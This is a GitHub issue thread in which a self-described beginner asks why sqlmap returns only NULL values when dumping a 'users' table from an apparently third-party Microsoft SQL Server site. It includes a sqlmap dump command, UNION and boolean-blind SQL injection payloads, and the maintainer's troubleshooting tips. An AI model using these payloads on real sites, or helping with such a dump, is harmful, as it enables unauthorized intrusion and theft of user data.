Sqlmap: all data return null

Created on 20 Dec 2017  Â·  17Comments  Â·  Source: sqlmapproject/sqlmap

hello
I have a problem

all data Receive it's NULL

i try --hex

how receive char data

2017-12-20_4-38-19
2017-12-20_4-39-13

support

Most helpful comment

Lmao

Sorry but I’ve never seen this shit in my life

On Dec 19, 2017, at 8:44 PM, hmadi47 notifications@github.com wrote:

hello
I have a problem

all data Receive it's NULL

i try --hex

how receive char data

—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.

All 17 comments

Lmao

Sorry but I’ve never seen this shit in my life

On Dec 19, 2017, at 8:44 PM, hmadi47 notifications@github.com wrote:

hello
I have a problem

all data Receive it's NULL

i try --hex

how receive char data

—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.

Which DBMS and which technique?

I redownload sqlmap-dev

but now same error
how i can receive char and string

please write the comand

i writed

sqlmap -u Site -D Database -T table--dump --hex

please correct that

@G0st-ly still waiting for answers to questions from up above. Don't know what to correct if you don't give me any usable info

i am only this
sqlmap -u Site -D Database -T table--dump --hex

Because I'm still a beginner

What DBMS and what technique? sqlmap says it all in console output you get

On Dec 20, 2017 17:18, "G0st-ly" notifications@github.com wrote:

i am only this
sqlmap -u Site -D Database -T table--dump --hex

Because I'm still a beginner

—
You are receiving this because you were assigned.
Reply to this email directly, view it on GitHub
https://github.com/sqlmapproject/sqlmap/issues/2837#issuecomment-353108194,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AA4P02-toaw6FHGofsjWiDThugvNLNwNks5tCTMBgaJpZM4RH1Ac
.

resuming back-end DBMS 'microsoft sql server'
[07:34:39] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

Parameter: id_ads (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id_ads=20 AND 2110=2110

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns

Payload: id_ads=-2261 UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(107)+CHAR(98)+CHAR(122)+CHAR(113)+CHAR(88)+CHAR(121)+CHAR(81)+CHAR(120)+CHAR(119)+CHAR(108)+CHAR(65)+CHAR(110)+CHAR(115)+CHAR(74)+CHAR(70)+CHAR(88)+CHAR(85)+CHAR(89)+CHAR(98)+CHAR(115)+CHAR(73)+CHAR(82)+CHAR(104)+CHAR(122)+CHAR(90)+CHAR(83)+CHAR(121)+CHAR(88)+CHAR(67)+CHAR(114)+CHAR(98)+CHAR(113)+CHAR(78)+CHAR(113)+CHAR(117)+CHAR(86)+CHAR(120)+CHAR(103)+CHAR(76)+CHAR(122)+CHAR(66)+CHAR(114)+CHAR(82)+CHAR(90)+CHAR(113)+CHAR(107)+CHAR(106)+CHAR(98)+CHAR(113)-- VAho

[07:34:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET, Microsoft IIS 8.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2014
[07:34:41] [INFO] fetching columns for table 'users' in database 'database55'
[07:34:42] [WARNING] reflective value(s) found and filtering out

@G0st-ly and what are you getting without --hex? I guess nothing

One more thing. I wonder do you get there was a problem decoding... with that patch I've pushed?

without --hex all data is null
with that patch error in the picture

how retrieve string and char data ?

Basically, in your case there is no data to be retrieved. You have to debug on your side why is there no data. I'll deal with the all NULL data. Also, people tend to forget to mention if there was any protection (WAF/IDS/IPS) detected in the first place

Also, you haven't gave a full console output where the NULLoccurs. Whether in table dump or column retrieval phase. If in table dump please use --pivot-column (as I can see that you are dealing with MsSQL)

[14:56:20] [WARNING] reflective value(s) found and filtering out
how retrieve string and char data ?
Because the data has the Arabic language

tying --hex show the warning [14:57:32] [WARNING] there was a problem decoding value

There is no kind of protection from what you mentioned

1) Do you still get all NULLs?
2) Have you tried --pivot-column?
3) Have you tried to look into the traffic (e.g. with -t traffic.txt) to see the content of retrieved data when using --hex. You have an UNION SQLi. That should be fairly easy to see what is going on in the traffic itself

  1. yes all data NULLs
  2. yes but same error
  3. ET /xxxxxxxxxxx ads=20 HTTP/1.1

Host: ixxxxxxxxxxxxx

Cache-control: no-cache

Accept-encoding: gzip,deflate

Accept: /

User-agent: sqlmap/1.1.12.28#dev (http://sqlmap.org)

Connection: close

HTTP response [#1] (200 OK):

Content-length: 9765

X-aspnet-version: 2.0.50727

Content-encoding: gzip

Vary: Accept-Encoding

Uri: xxxxxxxxxxxxxxxxxxxxxxxxxxxxx=20

Server: Microsoft-IIS/8.5

Connection: close

Cache-control: private

Date: Mon, 25 Dec 2017 00:38:48 GMT

X-powered-by: ASP.NET

Content-type: text/html; charset=utf-8

X-powered-by-plesk: PleskWin

It is really hard to support you. I've asked you to take a look into the whole traffic and you are returning HTTP headers. Please try to debug the content of response (you have an UNION SQLi which should be more than helpful) and if you find some "inconsistencies" report back. Otherwise I give up on this issue

thank bro
I will try

Was this page helpful?
0 / 5 - 0 ratings

Related issues

serdaresen06 picture serdaresen06  Â·  4Comments

WilliJoin picture WilliJoin  Â·  4Comments

Victorilo picture Victorilo  Â·  4Comments

ashwinvin picture ashwinvin  Â·  4Comments

stamparm picture stamparm  Â·  4Comments